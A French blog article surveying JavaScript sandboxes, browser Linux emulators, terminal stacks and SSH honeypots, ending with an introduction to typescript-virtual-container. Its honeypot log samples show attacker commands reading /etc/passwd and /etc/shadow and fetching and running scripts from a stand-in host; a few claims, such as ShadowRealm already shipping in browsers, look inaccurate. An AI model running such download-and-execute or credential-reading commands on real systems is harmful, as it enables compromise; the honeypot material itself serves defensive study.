QuickJS est encore une œuvre de Fabrice Bellard (le même gars derrière QEMU, FFmpeg, JSLinux, TinyEMU -- cette personne n'est pas réelle, sérieusement, comment est-ce qu'une seule personne fait tout ça ?). C'est un petit moteur JS conforme à la norme ES2023 écrit en C, et compilé en Wasm il ne fait qu'environ 500 Ko.

import { getQuickJS } from "quickjs-emscripten";

const QuickJS = await getQuickJS();
const vm = QuickJS.newContext();

const result = vm.evalCode(`
  // S'exécute dans QuickJS, complètement séparé de V8
  (function() { return 6 * 7; })()
`);

if (result.error) {
  console.log("Error:", vm.dump(result.error));
  result.error.dispose();
} else {
  console.log("Result:", vm.dump(result.value)); // 42
  result.value.dispose();
}

vm.dispose();

QuickJS est un petit moteur JavaScript conforme à ES2023 écrit en C. Compilé en Wasm, il fait environ 500 Ko pour la variante synchrone, ~1 Mo pour la variante asynchrone (Asyncify). La gestion de la mémoire est manuelle -- chaque valeur que tu extrais de la VM doit être explicitement libérée, ce qui est un peu chiant mais empêche les surprises de GC inter-frontières. Un compromis amusant !

Le wrapper @sebastianwessel/quickjs ajoute une API plus ergonomique par-dessus, avec un système de fichiers virtuel optionnel, le support fetch, et des stubs de modules Node.js :

import variant from "@jitl/quickjs-ng-wasmfile-release-sync";
import { loadQuickJs } from "@sebastianwessel/quickjs";

const { runSandboxed } = await loadQuickJs(variant);

const result = await runSandboxed(
  async ({ evalCode }) => evalCode(`
    import { join } from 'path';
    export default join('src', 'dist');
  `),
  { allowFs: false, allowFetch: false }
);

Le modèle de sécurité est différent de isolated-vm : le modèle mémoire linéaire de Wasm fait que l'invité ne peut pas accéder directement aux objets du tas V8. La surface d'attaque est l'interface hôte↔Wasm (imports/exports), pas tout le langage JS. C'est généralement considéré comme plus robuste que les bacs à sable basés sur Proxy.

Le revers : QuickJS n'a pas le même niveau d'optimisation que V8. Pour les charges CPU-bound en JS, c'est 5 à 20 fois plus lent que V8. Pour des petits bouts de code et des évaluations non fiables, ça n'a généralement pas d'importance.

Mémoire : ~500 Ko module Wasm + tas par instance.
Sécurité : frontière Wasm, considérée plus solide que les approches basées Proxy.
npm : quickjs-emscripten, @sebastianwessel/quickjs
GitHub : justjake/quickjs-emscripten


1.5 Deno -- un runtime qui met les permissions en premier

Deno adopte une philosophie complètement différente : au lieu de faire du bac à sable dans Node, construire un nouveau runtime qui est sécurisé par défaut. J'aime vraiment cette approche -- c'est ce que Node.js aurait dû être depuis le début, honnêtement. Ryan Dahl (le créateur original de Node.js) a littéralement créé Deno parce qu'il regrettait certaines décisions de conception de Node.js, ce qui est assez fou quand on y pense.

Chaque capacité sensible (lecture fichier, écriture fichier, réseau, environnement, sous-processus) nécessite un flag --allow-* explicite :

# Celui-ci peut seulement lire dans /data, rien d'autre
deno run --allow-read=/data script.ts

# Celui-ci peut seulement accéder à un seul domaine
deno run --allow-net=api.example.com script.ts

# Pas de flags = aucune permission
deno run untrusted.ts # peut pas lire, écrire, réseau, lancer

Le modèle de permissions est implémenté au niveau Rust/OS -- ce n'est pas une astuce JS. Quand du code Deno appelle Deno.readFile(), ça passe par une opération Rust qui vérifie la table de permissions avant de toucher au système de fichiers. Tu ne peux pas le contourner depuis JS parce que l'appel système n'a jamais lieu si la permission n'est pas accordée.

Pour exécuter du code vraiment non fiable, les Workers Deno (Web Workers) fournissent un second isolate dans le même processus, chacun avec son propre ensemble de permissions. Tu peux lancer un worker avec zéro permission et communiquer avec lui via postMessage.

Deno 2 (sorti en octobre 2024) a ajouté la compatibilité npm complète et des shims de compatibilité Node.js, ce qui a considérablement amélioré son adoption pour les cas d'usage côté serveur.

Le compromis : le modèle de sécurité de Deno est excellent pour du code auquel tu pourrais faire partiellement confiance. Pour du code complètement non fiable qui pourrait être adversarial, le modèle de permissions n'aide pas -- tu as besoin d'une frontière Isolate (isolated-vm) ou d'un moteur différent (quickjs-emscripten), parce que Deno utilise toujours V8 et des attaquants sophistiqués peuvent trouver des bugs au niveau V8.


1.6 TC39 ShadowRealm -- la réponse standardisée (un jour)

L'organisme de normalisation JavaScript (TC39) a une proposition appelée ShadowRealm qui tente de standardiser ce que vm et vm2 essayaient de faire, mais avec un modèle de sécurité correct. Un ShadowRealm crée un contexte d'exécution JS isolé avec ses propres intrinsèques, aucun accès au royaume extérieur, et une interface d'import/export soigneusement contrôlée.

const realm = new ShadowRealm();
const result = realm.evaluate(`
  // Intrinsèques séparés, pas d'accès au royaume extérieur
  typeof globalThis.fetch // "undefined"
  6 * 7 // 42
`);

ShadowRealm est disponible dans les navigateurs (Chrome 90+, Firefox 105+) mais n'est pas encore dans Node.js stable en 2026. La proposition TC39 Compartments s'appuie dessus pour l'isolation au niveau des modules. Ce sont les réponses standardisées à long terme, mais elles ne sont pas encore prêtes pour la production côté serveur Node. C'est un de ces trucs où tu vois arriver de loin mais... c'est juste pas encore là. Du grand classique TC39 xD


Résumé de la famille des bacs à sable

vm vm2 isolated-vm quickjs-emscripten Deno Workers
Frontière d'isolation aucune (portée) Proxy (cassé) V8 Isolate Wasm V8 Isolate + perms Rust
Limite mémoire ❌ ❌ ✅ limite stricte ✅ tas Wasm partielle
Timeout CPU ❌ ✅ (contournable) ✅ strict ✅ ✅
Sécurité aucune cassée solide solide solide
Vitesse JS V8 natif V8 natif V8 natif ~10x plus lent V8 natif
Navigateur ❌ ❌ ❌ ✅ ❌
Compatibilité Node natif ✅ ✅ shims partiels partielle
Statut stable risqué (nouvelles CVE) ✅ actif ✅ actif ✅ actif
Surcharge RAM ~1 Mo ~5-20 Mo ~3-10 Mo ~5-15 Mo ~10-30 Mo

Le verdict : si la sécurité t'importe, il y a exactement deux vraies options -- isolated-vm (extension native, V8 Isolate, pleine vitesse JS) et quickjs-emscripten (Wasm, compatible navigateur, ~10x plus lent pour du calcul intensif). Tout le reste est soit "s'il te plaît ne fais pas ça" (vm, vm2) soit un runtime qui résout un problème complètement différent (Deno). ShadowRealm pourrait changer la donne un jour, mais ce n'est pas encore le cas.


Partie 2 -- Les émulateurs Linux en JavaScript

C'est là que les choses deviennent vraiment intéressantes pour moi. Ce sont de vrais émulateurs -- ils implémentent un jeu d'instructions CPU en JavaScript ou WebAssembly, démarrent une vraie image de noyau Linux, et exécutent de vrais binaires utilisateur. L'isolation vient du fait que l'invité et l'hôte ne partagent rien : des espaces mémoire différents, des flux d'instructions différents.

Le prix à payer est énorme, mais ce que tu obtiens est vraiment remarquable : du vrai Linux, qui tourne vraiment, dans ton navigateur ou ton processus Node. Genre, c'est assez fou quand on y pense, non ?

2.1 v86 -- émulateur PC x86 en JS + JIT Wasm

v86 par Fabrice (copy sur GitHub) est l'émulateur x86 open-source le plus capable en JavaScript. Il a commencé comme un interpréteur JS pur vers 2013 et a évolué vers un système JIT où les blocs de base x86 sont traduits en WebAssembly à la volée, améliorant considérablement les performances.

Ce qu'il émule :

  • CPU : x86-32 (IA-32), jeu d'instructions environ au niveau Pentium 1. Pas de 64-bit (x86-64) -- c'est une limite architecturale matérielle, pas une fonctionnalité manquante.
  • FPU : via Float64Array de JavaScript. Le x87 est en précision étendue 80-bit ; les doubles JS sont en 64-bit. Ça signifie que les résultats en virgule flottante peuvent différer légèrement d'un vrai CPU.
  • Mémoire : configurable, mappe vers un SharedArrayBuffer ou ArrayBuffer dans le tas JS.
  • Matériel : 8254 PIT (timer), 8259 PIC (contrôleur d'interruptions), contrôleur clavier 8042 (PS/2), CMOS RTC, VGA avec extensions SVGA et Bochs VBE, contrôleur IDE, contrôleur disquette (8272A), carte réseau NE2000.
  • BIOS : utilise SeaBIOS (BIOS x86 open-source).

Le JIT fonctionne en identifiant des blocs de base (séquences d'instructions x86 sans sauts), en les traduisant en une fonction WebAssembly, en mettant cette fonction en cache, et en l'appelant lors des exécutions suivantes du même bloc. Les chemins de code chauds obtiennent des performances Wasm natives. Les chemins froids retombent sur l'interpréteur JS.

import { V86 } from "v86";
import { readFileSync } from "fs";

const emulator = new V86({
  bios:    { buffer: readFileSync("./bios/seabios.bin") },
  vga_bios:{ buffer: readFileSync("./bios/vgabios.bin") },
  hda:     { buffer: readFileSync("./images/alpine.img"), async: false },
  memory_size: 128 * 1024 * 1024, // 128 Mo
  autostart: true,
});

// Capturer la sortie série (console noyau Linux)
emulator.add_listener("serial0-output-byte", byte => {
  process.stdout.write(String.fromCharCode(byte));
});

// Envoyer une entrée à l'invité (taper dans le shell)
emulator.serial0_send("ls /\n");

OS supportés : Alpine Linux (excellent), Ubuntu 16.04/18.04 (i386 uniquement), Arch Linux 32, ReactOS, FreeDOS, Windows 9x/2000 (avec des réserves), MS-DOS.

Temps de démarrage : 15-40 secondes pour Alpine Linux depuis une image propre. C'est inhérent à l'initialisation réelle du noyau -- tu ne peux pas la sauter. Oui, tes utilisateurs vont regarder un noyau Linux démarrer dans leur navigateur. C'est le deal xD

Mémoire minimum : 100-256 Mo par instance. Le seul cache de code Wasm JIT peut atteindre des dizaines de Mo pour une instance Linux occupée.

Utilisation dans Node.js : entièrement supporté. Pas besoin de DOM -- la sortie VGA peut être ignorée si tu ne t'intéresses qu'à la sortie série.

Ce que tu ne peux pas faire : exécuter des binaires 64-bit, utiliser des fonctionnalités modernes du noyau (eBPF, io_uring, etc.), ou faire tourner plus d'une poignée d'instances simultanément sans atteindre les limites mémoire.

npm : v86 -- mis à jour continuellement, dernière publication le jour même au moment où j'écris.
GitHub : copy/v86
Démo : copy.sh/v86


2.2 JSLinux et TinyEMU -- le travail de Bellard, en deux fois

JSLinux est le propre émulateur Linux en JavaScript de Fabrice Bellard -- le tout premier, publié en 2011. Je continue de mentionner Bellard dans cet article parce qu'il n'arrête pas de réapparaître : QuickJS, TinyEMU, JSLinux, QEMU, FFmpeg. Ce gars est quelque chose d'autre. Vraiment l'une des contributions techniques individuelles les plus impressionnantes de l'histoire du logiciel, sans exagération.

Le JSLinux original était un interpréteur x86 pur JS. En 2016, Bellard a écrit TinyEMU (un émulateur RISC-V en C), l'a compilé en JavaScript via Emscripten, et ça est devenu la base du JSLinux actuel. Donc le JSLinux actuel est en fait du code C qui génère du JavaScript -- pas du tout du JS écrit à la main.

Les notes techniques sur le site de Bellard valent la peine d'être lues : le JSLinux actuel fait tourner un CPU RISC-V 32 ou 64-bit (pas x86), émulant une console VirtIO, un réseau VirtIO, un périphérique bloc VirtIO, et un système de fichiers 9P pour le partage de fichiers avec l'hôte. La démo JS est compilée à partir de C en utilisant Emscripten -- ce n'est pas du JS écrit à la main.

TinyEMU lui-même supporte :

  • RISC-V RV32IMAFDQC et RV64IMAFDQC (32 et 64-bit, avec virgule flottante, multiplication, instructions compressées)
  • x86 via KVM (natif uniquement, pas d'émulation -- donc la version JS est RISC-V uniquement)
  • Console VirtIO, réseau, bloc, entrée, système de fichiers 9P

TinyEMU a une démo JavaScript fournie via Emscripten. C'est la base de JSLinux et c'est aussi utilisé par container2wasm (voir section 2.5).

Statut JSLinux : pas de package npm, pas d'API programmable. C'est une démo que tu ouvres dans ton navigateur. L'importance historique est grande -- ça a prouvé le concept. L'utilité pratique en tant que bibliothèque : nulle.

TinyEMU : pas sur npm, source C disponible sur bellard.org/tinyemu.


2.3 jor1k -- émulateur OR1K

jor1k est un émulateur OpenRISC 1000 (OR1K) écrit en JavaScript par Sebastian Macke. C'est intéressant historiquement parce que jor1k a introduit le support du système de fichiers VirtIO 9P, que Bellard a ensuite intégré dans TinyEMU et JSLinux. La pollinisation croisée entre ces projets est serrée -- ils s'empruntent tous des trucs les uns aux autres, ce qui est honnêtement l'une des choses les plus cool du travail d'émulation open-source.

Statut : plus maintenu activement, pas de package npm. Archivé à ce stade. Utile à connaître surtout pour le contexte historique -- genre si quelqu'un mentionne jor1k dans une conversation, maintenant tu sais ce que c'est :)


2.4 CheerpX -- émulateur x86 commercial pour le navigateur

CheerpX par Leaning Technologies est l'émulateur Linux x86 commercial de qualité production. Il n'est pas open-source, mais il est nettement plus capable que v86 pour faire tourner un vrai userspace Debian/Ubuntu. Si tu as besoin d'un vrai VSCode dans le navigateur, c'est ce qu'il te faut.

Différences clés avec v86 :

  • Supporte un ISA plus large (plus d'extensions x86, meilleure compatibilité glibc)
  • Système de fichiers basé sur IndexedDB dans le navigateur (persistant entre les rechargements de page)
  • Support pthread via SharedArrayBuffer (qui nécessite les en-têtes COOP/COEP -- oui ces en-têtes de sécurité embêtants)
  • Conçu pour faire tourner VSCode, Python, Node.js, et d'autres applications réelles -- pas seulement des images OS minimales
  • Support professionnel et SLA disponible (aka tu peux engueuler quelqu'un si ça casse)

Le cas d'usage typique est "faire tourner une vraie application Linux dans le navigateur sans serveur." Des entreprises l'utilisent pour des IDE basés navigateur, des tutoriels de codage, et de la documentation interactive.

// API CheerpX (simplifiée)
const cx = await CheerpX.Linux.create({
  mounts: [{ type: "ext2", path: "/", dev: CloudDevice.create(...) }],
});
await cx.run("/bin/bash");

Histoire avec Node.js : CheerpX est d'abord conçu pour le navigateur. L'émulateur sous-jacent pourrait théoriquement fonctionner dans Node (c'est du Wasm), mais l'API et la documentation sont entièrement orientées vers une utilisation navigateur. L'utilisation côté serveur n'est pas supportée.

Mémoire : similaire à v86 -- 200+ Mo pour une vraie instance Debian.
Tarification : gratuit pour les projets open-source, licence commerciale pour SaaS en production.
Docs : cheerpx.io/docs/overview


2.5 WebContainers (StackBlitz) -- Node.js en Wasm, pas de l'émulation Linux

Les WebContainers sont souvent mis dans le même sac que les émulateurs Linux mais sont architecturalement différents. Ils n'émulent pas x86. Ils ne démarrent pas Linux. Ils font tourner Node.js compilé en WebAssembly en utilisant WASI. Cette distinction compte beaucoup et j'ai passé bien trop de temps à être confus à ce sujet lol.

Je pense que la confusion vient du marketing -- "faire tourner Node.js dans ton navigateur" ressemble à de l'émulation, mais c'est en fait Node.js lui-même compilé en Wasm, pas une émulation Linux qui fait tourner Node.js dans une VM. Un truc complètement différent.

L'architecture :

  1. Node.js est compilé en Wasm (un runtime WASI personnalisé spécifiquement)
  2. Un Service Worker intercepte les requêtes réseau du serveur Node.js émulé et les route vers l'onglet du navigateur
  3. Le système de fichiers vit dans la mémoire du navigateur (pas d'E/S disque)
  4. npm est une implémentation personnalisée optimisée pour une utilisation dans le navigateur
import { WebContainer } from "@webcontainer/api";

const webcontainer = await WebContainer.boot();

// Écrire des fichiers
await webcontainer.mount({
  "index.js": { file: { contents: `console.log("hello")` } },
  "package.json": { file: { contents: `{"name":"demo","type":"module"}` } }
});

// Exécuter des commandes Node.js
const proc = await webcontainer.spawn("node", ["index.js"]);
proc.output.pipeTo(new WritableStream({ write: chunk => console.log(chunk) }));

Comme ça exécute du vrai Node.js (compilé en Wasm), tu as un vrai npm, de vraies API Node.js, et une vraie résolution de modules. Tu n'as pas un userspace Linux généraliste -- tu ne peux pas installer de paquets système avec apt, exécuter des binaires compilés arbitraires, ou faire grand-chose en dehors de l'écosystème Node.js.

Prérequis navigateur : SharedArrayBuffer (nécessite les en-têtes COOP/COEP), support Service Worker, Wasm moderne.

Histoire avec Node.js : conçu exclusivement pour une utilisation navigateur. L'API ne fonctionne pas en dehors d'un contexte navigateur.

npm : @webcontainer/api
Docs : webcontainers.io


2.6 container2wasm -- des conteneurs Docker compilés en Wasm

container2wasm est un outil (pas un package npm) de NTT qui prend une image de conteneur Docker et la convertit en un binaire WebAssembly qui peut tourner dans n'importe quel hôte Wasm -- y compris un navigateur. Quand j'ai vu ça pour la première fois, je n'ai vraiment pas cru que ça marchait.

Le mécanisme :

  • Pour les conteneurs x86_64 : embarque Bochs (un émulateur x86, compilé en Wasm) + le système de fichiers racine du conteneur
  • Pour les conteneurs riscv64 : embarque TinyEMU (encore Bellard !) + le système de fichiers racine du conteneur
  • Le fichier .wasm résultant démarre l'émulateur, monte le système de fichiers du conteneur, et exécute le point d'entrée du conteneur
# Convertir un conteneur Ubuntu 22.04 en Wasm
c2w ubuntu:22.04 out.wasm

# L'exécuter
wasmtime out.wasm uname -a
# Linux 5.15.0 #1 SMP riscv64 GNU/Linux

# Ou le servir pour une utilisation navigateur
c2w --to-js ubuntu:22.04 /tmp/htdocs/

Le .wasm résultant est volumineux -- une Ubuntu minimale fait plusieurs centaines de Mo -- mais il est complètement autonome. Tu peux envoyer un .wasm par email à quelqu'un et il peut faire tourner Ubuntu dans son navigateur. Cette phrase ne devrait pas avoir de sens mais nous y voilà.

GitHub : container2wasm/container2wasm


Résumé de la famille des émulateurs

v86 JSLinux/TinyEMU jor1k CheerpX WebContainers container2wasm
Architecture x86-32 JIT→Wasm RISC-V (Wasm) OR1K (JS) x86 (propriétaire) Node.js→Wasm/WASI x86/RISC-V (Wasm)
Vrai noyau ✅ ✅ ✅ ✅ ❌ (Node.js) ✅
64-bit ❌ ✅ (RISC-V) ❌ ✅ n/a ✅
Package npm ✅ ❌ ❌ CDN/API ✅ ❌ (outil CLI)
Utilisation Node.js ✅ ❌ ❌ ❌ ❌ (navigateur only) via Wasmtime
Utilisation navigateur ✅ ✅ ✅ ✅ ✅ ✅
RAM/instance 150-256 Mo ~64-128 Mo ~64 Mo 200+ Mo ~100 Mo ~200-500 Mo
Temps démarrage 15-40s 10-30s 10-30s 15-40s 2-5s 10-40s
Open source ✅ ✅ ✅ ❌ partiel ✅
Statut ✅ très actif ✅ stable ⚠️ archivé ✅ commercial ✅ actif ✅ actif

Ce qui saute aux yeux dans ce tableau : v86 est le seul qui est un package npm, qui tourne à la fois dans le navigateur et Node, et qui est open-source. C'est pour ça qu'il domine la conversation sur les "émulateurs Linux en JavaScript". Tout le reste a un inconvénient -- JSLinux n'a pas d'API, jor1k est archivé, CheerpX coûte de l'argent, WebContainers est navigateur-only et spécifique à Node, container2wasm nécessite une étape de build et un CLI. Si tu as juste besoin de "démarrer Linux en JavaScript", v86 est presque toujours le bon point de départ.


Partie 3 -- Les stacks terminal : xterm.js et node-pty

Deux packages reviennent constamment quand les gens construisent des expériences de type shell. Ce ne sont pas des bacs à sable ou des émulateurs -- ce sont la plomberie UI et PTY -- mais ils sont tellement connexes que je me sentirais mal de les laisser de côté. Aussi, je les ai utilisés tous les deux et ils sont vraiment bons.

3.1 xterm.js -- le rendu de terminal

xterm.js est un émulateur de terminal pour le navigateur. Il affiche un écran de terminal (séquences d'échappement VT100/xterm) dans un élément <canvas>, gère les entrées clavier, et expose une API pour acheminer les données.

Utilisé par : le terminal intégré de VS Code, Azure Cloud Shell, Proxmox VE, AWS CloudShell, et bien d'autres.

import { Terminal } from "@xterm/xterm";
import { FitAddon } from "@xterm/addon-fit";

const term = new Terminal({ cursorBlink: true });
const fitAddon = new FitAddon();
term.loadAddon(fitAddon);
term.open(document.getElementById("terminal"));
fitAddon.fit();

// Envoyer des données au terminal (affiché comme texte)
term.write("$ ");
term.onData(data => {
  // data sont les frappes -- envoie à ton backend
  socket.send(data);
});
socket.onmessage(msg => {
  // sortie du backend -- affiche-la
  term.write(msg.data);
});

xterm.js est uniquement la couche de rendu. Il n'exécute pas de shell. Il n'interprète pas les commandes. C'est un widget d'affichage que tu connectes au backend de ton choix. Beaucoup de gens pensent que xterm.js "fait le terminal" mais c'est vraiment juste l'écran -- tu dois encore le connecter à quelque chose qui exécute réellement des commandes.

npm : @xterm/xterm
GitHub : xtermjs/xterm.js


3.2 node-pty -- création de PTY

node-pty crée un pseudoterminal (PTY) dans Node.js et te donne un handle de lecture/écriture dessus. Utilisé avec xterm.js, il permet de construire un terminal navigateur qui parle à un vrai shell (bash, zsh, fish) tournant sur le serveur.

import * as pty from "node-pty";

const shell = pty.spawn("bash", [], {
  name: "xterm-color",
  cols: 80,
  rows: 30,
  cwd: process.env.HOME,
  env: process.env,
});

shell.onData(data => {
  // Envoyer au navigateur xterm.js via WebSocket
  ws.send(data);
});

ws.on("message", data => {
  // Transmettre les frappes du navigateur au shell
  shell.write(data);
});

C'est le schéma standard pour les IDE cloud et les terminaux web : xterm.js (navigateur) ↔ WebSocket ↔ node-pty ↔ vrai bash. Pas d'isolation. Le shell s'exécute avec toutes les permissions du processus Node.js (ou de l'utilisateur qui le lance).

Maintenu par : Microsoft.
npm : node-pty
GitHub : microsoft/node-pty


Partie 4 -- Les honeypots SSH

Les honeypots sont conçus pour être attaqués. Le but est d'avoir l'air assez réel pour que les attaquants interagissent avec eux, tout en enregistrant tout ce qu'ils font pour le renseignement de menaces. SSH est la cible principale parce que c'est le service le plus attaqué sur internet -- si tu exposes le port 22 sur une IP publique, tu verras des tentatives de scan automatisées en quelques minutes littéralement. Essaye un jour, c'est assez horrifiant à quel point ça arrive vite.

La qualité d'un honeypot se mesure à deux choses : la fidélité (à quel point il imite de manière convaincante un vrai système) et la télémétrie (quelle quantité de données utiles il capture). Ces deux choses sont en tension. Un honeypot haute-fidélité est plus difficile à construire et plus risqué à opérer.

Cette section est ce qui m'a finalement conduit à construire le module HoneyPot dans typescript-virtual-container, donc j'ai quelques opinions ici.

4.1 Cowrie -- l'étalon-or

Cowrie est un honeypot SSH et Telnet à interaction moyenne-à-haute basé sur Python. C'est le honeypot SSH le plus déployé dans la communauté de la recherche et de la sécurité.

Architecture :

  • Couche protocole : implémentation réelle du protocole SSH (Twisted Conch), donc les attaquants ont de vraies poignées de main, un vrai échange de clés, une vraie authentification
  • Couche shell : un faux système de fichiers (ressemblant à Debian 5.0) et un interpréteur de shell partiel qui répond aux commandes courantes
  • Mode proxy : peut rediriger vers un vrai système derrière (mode haute interaction), en enregistrant tout ce qui passe
  • Mode LLM (ajout récent) : utilise un modèle de langage pour générer des réponses dynamiques aux commandes qu'il ne sait pas gérer -- oui, Cowrie a maintenant un mode IA. On vit une époque de fou.
# Ce que Cowrie capture
{
  "timestamp": "2024-01-15T03:22:11.847Z",
  "src_ip": "45.33.32.156",
  "username": "root",
  "password": "123456",
  "session": "abc123",
  "commands": [
    "uname -a",
    "cat /etc/passwd",
    "wget http://malicious.example/bot.sh",
    "chmod +x bot.sh",
    "./bot.sh"
  ],
  "files_downloaded": ["bot.sh"]
}

Cowrie sauvegarde les fichiers téléchargés (via wget/curl/SFTP/SCP) pour l'analyse de malwares. Il s'intègre avec Splunk, Elasticsearch, et d'autres plateformes SIEM.

Fidélité : moyenne-haute. Assez convaincant pour tromper les bots automatisés (ce qui représente 99% des attaquants SSH -- la plupart sont juste des scripts stupides qui essayent root/password). Des humains sophistiqués peuvent l'identifier par empreinte numérique cependant, généralement assez vite.

Langage : Python (Twisted)
GitHub : cowrie/cowrie


4.2 Kippo -- le prédécesseur de Cowrie

Kippo est le honeypot SSH à interaction moyenne original sur lequel Cowrie était basé. Même idée de base : vrai protocole SSH, faux système de fichiers, shell partiel. Cowrie l'a complètement supplanté à ce stade -- Kippo est archivé et personne ne devrait l'utiliser en 2026. Mentionné ici purement pour l'exhaustivité historique, puisque tu pourrais le voir référencé dans de vieux articles de blog et papiers de sécurité.

GitHub : desaster/kippo -- archivé


4.3 endlessh -- le tarpit SSH

endlessh est un honeypot dégénéré : il maintient les connexions SSH ouvertes en diffusant lentement les données de bannière à 1 octet par seconde (ou moins). Un client SSH qui s'y connecte va rester bloqué indéfiniment -- il n'arrivera jamais à l'authentification parce que le serveur ne finit jamais d'envoyer la bannière.

Le but n'est pas le renseignement de menaces mais le pur refus de ressource : occuper les threads de scan des attaquants pour qu'ils ne puissent pas atteindre les vraies cibles aussi vite. C'est honnêtement un peu diabolique dans le bon sens. Tu n'apprends rien de l'attaquant -- tu lui fais juste perdre son temps. Il y a quelque chose de profondément satisfaisant là-dedans.

// Tout le comportement protocolaire d'endlessh :
// Envoyer : "SSH-2.0-OpenSSH_" puis ajouter lentement des caractères aléatoires
// Ne jamais fermer la connexion
// Le scanner de l'attaquant expire après N secondes

Aucune commande n'est capturée. Aucune authentification n'est testée. Juste du temps de connexion.

Écrit en : C
GitHub : skeeto/endlessh


4.4 sshesame -- le honeypot "laisse tout le monde entrer"

sshesame accepte toutes les connexions SSH (n'importe quel utilisateur, n'importe quel mot de passe, n'importe quelle clé) et enregistre tout. C'est un honeypot à zéro interaction : il ne répond pas aux commandes, il laisse juste les attaquants "entrer" et enregistre chaque frappe qu'ils tapent.

2024-01-15 03:22:11 Connexion de 45.33.32.156
  Utilisateur : root, Mot de passe : password123 -- accepté
  Commandes tapées :
    cat /etc/shadow
    wget http://malicious.example/miner
    uname -a
  Déconnecté après 47s

Utile pour la récolte d'identifiants : tu accumules rapidement les noms d'utilisateur et mots de passe que les bots essayent, ce qui te dit quels identifiants par défaut sont actuellement bruteforcés activement. Spoiler : c'est toujours root/password, admin/admin, et root/123456. À chaque fois.

GitHub : jaksi/sshesame


4.5 Lyrebird -- framework de honeypot basé sur Docker

lyrebird/honeypot-base est une image de base Docker pour construire des honeypots de services réseau. Ce n'est pas spécifiquement un honeypot SSH -- c'est un framework pour construire des honeypots pour n'importe quel protocole.

L'image de base fournit un framework de journalisation, un système de plugins pour les protocoles, et des configurations Docker Compose pour les honeypots multi-services. Tu l'étends pour simuler des services spécifiques.

Docker Hub : lyrebird/honeypot-base


4.6 Construire un honeypot SSH en Node.js -- la méthode naïve, et pourquoi ça échoue

Avant typescript-virtual-container, construire un honeypot SSH en Node.js signifiait combiner la vraie bibliothèque ssh2 avec une simulation manuelle de commandes. Très fastidieux, très incomplet, mais... c'est un passage obligé à ce stade :

import { Server } from "ssh2";
import { readFileSync } from "fs";
import { appendFileSync } from "fs";

const hostKey = readFileSync("./host.key");

new Server({ hostKeys: [hostKey] }, client => {
  client.on("authentication", ctx => {
    // Journaliser la tentative
    appendFileSync("creds.log", `${ctx.username}:${ctx.credentials?.password}\n`);
    ctx.accept(); // Laisser tout le monde entrer
  });

  client.on("ready", () => {
    client.on("session", (accept) => {
      const session = accept();
      session.on("shell", accept => {
        const stream = accept();
        stream.write("Last login: Mon Jan 15 03:00:00 2024 from 10.0.0.1\r\n");
        stream.write("root@ubuntu:~# ");
        stream.on("data", data => {
          const cmd = data.toString().trim();
          appendFileSync("commands.log", `${cmd}\n`);
          // Réponse simulée
          if (cmd === "uname -a") {
            stream.write("\r\nLinux ubuntu 5.15.0-91-generic #101-Ubuntu x86_64 GNU/Linux\r\n");
          } else {
            stream.write(`\r\n${cmd}: command not found\r\n`);
          }
          stream.write("root@ubuntu:~# ");
        });
      });
    });
  });
}).listen(2222);

Ça "marche" dans le sens où ça capture les identifiants et les commandes. Mais c'est évidemment faux dès qu'un attaquant sophistiqué creuse un peu. uname -a retourne la bonne chaîne mais ls /etc retourne "command not found" -- ça sent le piège à plein nez. Le système de fichiers n'existe pas. Les commandes ne s'enchaînent pas. Les pipes ne fonctionnent pas. Les variables ne s'expandent pas.

Un attaquant compétent identifiera ton honeypot dans les cinq premières commandes. Les scripts automatisés qui cherchent un comportement de type Cowrie le détecteront aussi immédiatement. C'est apparemment ce qui a poussé l'autrice de typescript-virtual-container à construire quelque chose qui interprète réellement les commandes pour de vrai -- plus sur ça dans la Partie 5.


Résumé de la famille des honeypots

Cowrie Kippo endlessh sshesame Lyrebird Naïf ssh2
Niveau d'interaction moyen-élevé moyen zéro zéro variable faible
Vrai protocole SSH ✅ ✅ ❌ (tarpit) ✅ variable ✅
Fidélité du shell moyenne moyenne n/a aucune variable minimale
Capture les identifiants ✅ ✅ ❌ ✅ ✅ ✅
Capture les commandes ✅ ✅ ❌ ✅ variable ✅
Capture les malwares ✅ ✅ ❌ ❌ ❌ ❌
Intégration SIEM ✅ native ❌ ❌ ❌ ❌ manuelle
Réponses LLM ✅ (nouveau) ❌ ❌ ❌ ❌ ❌
Langage Python Python C Go Docker Node.js
Node.js natif ❌ ❌ ❌ ❌ ❌ ✅
Statut ✅ très actif ⚠️ archivé ✅ actif ✅ actif ✅ actif DIY

Le schéma ici est assez clair : plus tu veux de fidélité, plus tu dois écrire de Python. Cowrie est le vainqueur incontesté si tu fais ça sérieusement -- il a été éprouvé sur le terrain pendant des années et capture bien plus que de simples identifiants. endlessh et sshesame sont des projets sympas plus que des outils sérieux de renseignement de menaces. Et l'approche naïve en Node.js t'amène peut-être à 20% du chemin avant que tu ne cognes un mur.


Partie 5 -- typescript-virtual-container : ce qui comble le fossé

OK alors là les choses deviennent intéressantes. Après avoir catalogué toutes les familles ci-dessus, le quadrant manquant devient assez évident :

  • Les bacs à sable JS : isolent le code, pas de shell, pas de système de fichiers, pas de SSH
  • Les émulateurs Linux : vrai OS, vrai shell, vrai SSH... mais 150+ Mo de RAM, 30 secondes de démarrage, et tu dois construire ta propre API par-dessus les E/S série
  • Les honeypots : faux shell, pas d'API programmable, Python/Go/C, pas natif Node

Personne n'avait construit un environnement Linux complet, programmable, natif Node, avec du vrai SSH, de vraies permissions, un vrai réseau virtuel, et une API TypeScript typée. Alors elle l'a construit.

Petite introduction puisque c'est la première fois que je la mentionne correctement : typescript-virtual-container a été construit par Chloé Rolzhausen, une développeuse française qui se fait appeler Fortune (ou ItsRealFortune) en ligne. Tu peux la trouver sur son site web et sur LinkedIn. Tout le projet -- 56 000 lignes de TypeScript, 247 fichiers, 170 commandes -- a été un effort en solo par une seule personne. Je l'appellerai Fortune pour le reste de l'article. Et oui, c'est assez fou. Va jeter un œil à son travail !

Ce que c'est réellement

typescript-virtual-container est un simulateur d'environnement Linux écrit en TypeScript pur. Pas de Wasm. Pas d'extensions natives. Pas de noyau. ~56 000 lignes de source réparties sur 247 fichiers TypeScript.

La perspicacité clé : tu n'as pas besoin d'un émulateur CPU pour faire fonctionner ls /etc | grep passwd. Tu as besoin de :

  1. Un arbre de nœuds en mémoire qui répondent aux opérations de chemin
  2. Un modèle de permissions POSIX appliqué à chaque accès
  3. Un analyseur syntaxique de shell qui comprend les pipelines, les redirections, les sous-shells et l'expansion de variables
  4. ~170 implémentations de commandes (des fonctions, pas des binaires)
  5. Un système de gestion des utilisateurs et des groupes
  6. Quelque chose pour exposer tout ça via SSH

